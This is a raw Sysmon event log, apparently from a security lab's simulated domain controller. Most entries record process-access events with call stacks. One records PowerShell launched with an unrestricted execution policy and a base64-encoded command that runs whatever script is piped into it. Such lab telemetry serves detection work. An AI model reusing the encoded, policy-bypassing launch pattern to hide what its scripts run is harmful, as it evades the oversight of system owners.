09:10:54.532{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004139Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.532{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004138Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.532{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004137Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.532{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004136Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.532{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-291E-5F80-D400-000000007F01}4384C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004135Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.532{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004134Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.532{A5F018FF-291E-5F80-D300-000000007F01}44684744C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe{A5F018FF-291E-5F80-D400-000000007F01}4384C:\Windows\system32\chcp.com0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+3332f6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b5560|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b4f07|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5ebf9fbb|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e09ae45|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e09ab16|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5eb4c17b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e05b6ac|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e0b9b7b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e09d1e0|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e09d1e0|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e09d071|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e08eff6|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e09b529|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e09b11c|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e09ae45|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e09ab16|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5eb4c17b|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e081977|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\bbcfce4d5e2ff289fc26db1642aedc89\System.Management.Automation.ni.dll+5e080f47 154100x80000000000000004133Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.533{A5F018FF-291E-5F80-D400-000000007F01}4384C:\Windows\System32\chcp.com10.0.14393.0 (rs1_release.160715-1616)Change CodePage UtilityMicrosoft® Windows® Operating SystemMicrosoft CorporationCHCP.COM"C:\Windows\system32\chcp.com" 65001C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-291E-5F80-E5A3-070000000000}0x7a3e50HighMD5=BA6FD5B883C0899785D17CEBE66A25F6,SHA256=9FDBDF88CF2BB2794C416E3083553F2898AC9DC92DFAC2478B4C1DF667DF7C74,IMPHASH=4FB30D6E330F3FB3DB61550BD7FA7CCD{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 10341000x80000000000000004132Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.516{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004131Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.516{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004130Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.516{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004129Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.469{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004128Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.469{A5F018FF-28BD-5F80-0B00-000000007F01}868988C:\Windows\system32\lsass.exe{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000004127Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.438{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_z4okmnmb.5dj.ps12020-10-09 09:10:54.438 10341000x80000000000000004126Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.422{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004125Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.391{A5F018FF-291E-5F80-D000-000000007F01}4940916C:\Windows\system32\conhost.exe{A5F018FF-291E-5F80-D300-000000007F01}4468C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004124Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.391{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004123Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.391{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004122Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.391{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004121Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.391{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004120Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.391{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004119Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:54.391{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004118Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 